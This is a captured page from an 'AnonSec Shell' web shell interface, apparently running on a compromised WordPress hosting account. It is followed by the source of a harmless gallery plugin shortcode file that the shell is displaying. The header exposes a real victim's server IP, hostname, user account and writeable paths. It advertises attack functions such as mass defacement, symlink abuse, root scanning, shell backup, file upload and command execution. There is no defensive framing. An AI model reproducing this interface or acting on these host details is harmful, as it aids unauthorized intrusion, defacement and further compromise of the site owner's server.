. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/wp-content/plugins/emme_gallery/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/wp-content/plugins/emme_gallery/includes/class-shortcode.php
<?php

/**
* classe shortcode
**/
namespace emme_gallery;

class Shortcodes {

    function __construct() {
        add_shortcode( 'emme_gallery', array( $this, 'emme_gallery_shortcode' ) );
        //creo lo shortcode
        add_action( 'wp_enqueue_scripts', array( $this, 'emme_gallery_script' ) );
        //aggiungo gli script
    }

    //funzione per lo shortcode

    public function  emme_gallery_shortcode( $atts ) {

        $light = 'roadtrip'.rand( 0, 255 );

        $atts = shortcode_atts( array(
            'id' => '',
            'columns' => '4',
            'class' => '',
            'thumb' => 'emme-gallery-thumb',
            'title' => 'No',
            'description' => 'No',
            'template' => 'default',
            'nav' => 'true',
            'dots' => 'true',
            'loop' => 'true',
            'autoplay' => 'true',
            'timeout' => '4800',
            'stagepadding' => '0',
            'margin' => '20',
            'center' => 'false',
            'autowidth' => 'false',
            'autoheight' => 'false',
        ), $atts, 'emme_gallery' );

        $images = get_post_meta( $atts[ 'id' ], 'vdw_gallery_id', true );

        ob_start();

        if ( $atts[ 'template' ] == 'carousel' ) {
            include PLUGIN_EMME_GALLERY_PATH. '/template/carousel.php';
        } else if ( $atts[ 'template' ] == 'slider' ) {
            include PLUGIN_EMME_GALLERY_PATH. '/template/slider.php';
        } else if ( $atts[ 'template' ] == 'masonry' ) {
            include PLUGIN_EMME_GALLERY_PATH. '/template/masonry.php';
        } else if ( $atts[ 'template' ] == 'thumbnail' ) {
            include PLUGIN_EMME_GALLERY_PATH. '/template/thumbnail.php';
        } else if ( $atts[ 'template' ] == 'verticalSlider' ) {
            include PLUGIN_EMME_GALLERY_PATH. '/template/verticalSlider.php';
        } else {
            include PLUGIN_EMME_GALLERY_PATH. '/template/default.php';
        }

        return ob_get_clean();

    }

    //scirpt e stili

    public function  emme_gallery_script() {
        global $post;
        if ( is_a( $post, 'WP_Post' ) && (has_shortcode( $post->post_content, 'emme_gallery' )|| is_page_template('page-appartamento.php')) ) {
            //Includo i file solo nelle pagine in cui รจ presente lo shortcode
            wp_enqueue_script( 'jquery' );
            wp_enqueue_script( 'emme_gallery_lightbox_js', PLUGIN_EMME_GALLERY_URL. 'lib/lightbox.min.js' );

            //OWL CAROUSEL JS
            wp_enqueue_script( 'emme_gallery_owlcarousel_js', PLUGIN_EMME_GALLERY_URL. 'lib/owl.carousel.min.js' );

            //Splide JS
            wp_enqueue_script('emme_gallery_splide_js', PLUGIN_EMME_GALLERY_URL. 'lib/splide.min.js');

            wp_enqueue_script('emme_gallery_js', PLUGIN_EMME_GALLERY_URL. 'js/emme_gallery.js' );
            wp_enqueue_style( 'emme_gallery_lightbox_css', PLUGIN_EMME_GALLERY_URL. 'lib/lightbox.min.css' );

            //OWL CAROUSEL CSS
            wp_enqueue_style( 'emme_gallery_owlcarousel_theme_css', PLUGIN_EMME_GALLERY_URL. 'lib/owl.theme.default.min.css' );
            wp_enqueue_style( 'emme_gallery_owlcarousel_css', PLUGIN_EMME_GALLERY_URL. 'lib/owl.carousel.min.css' );

            //Splide CSS
            wp_enqueue_style('emme_gallery_splide_theme_css', PLUGIN_EMME_GALLERY_URL. 'lib/splide-default.min.css');
            wp_enqueue_style('emme_gallery_splide_css', PLUGIN_EMME_GALLERY_URL. 'lib/splide.min.css');

            wp_enqueue_style( 'emme_gallery_css', PLUGIN_EMME_GALLERY_URL. 'css/emme_gallery.css' );
        }
    }

}

Anon7 - 2022
AnonSec Team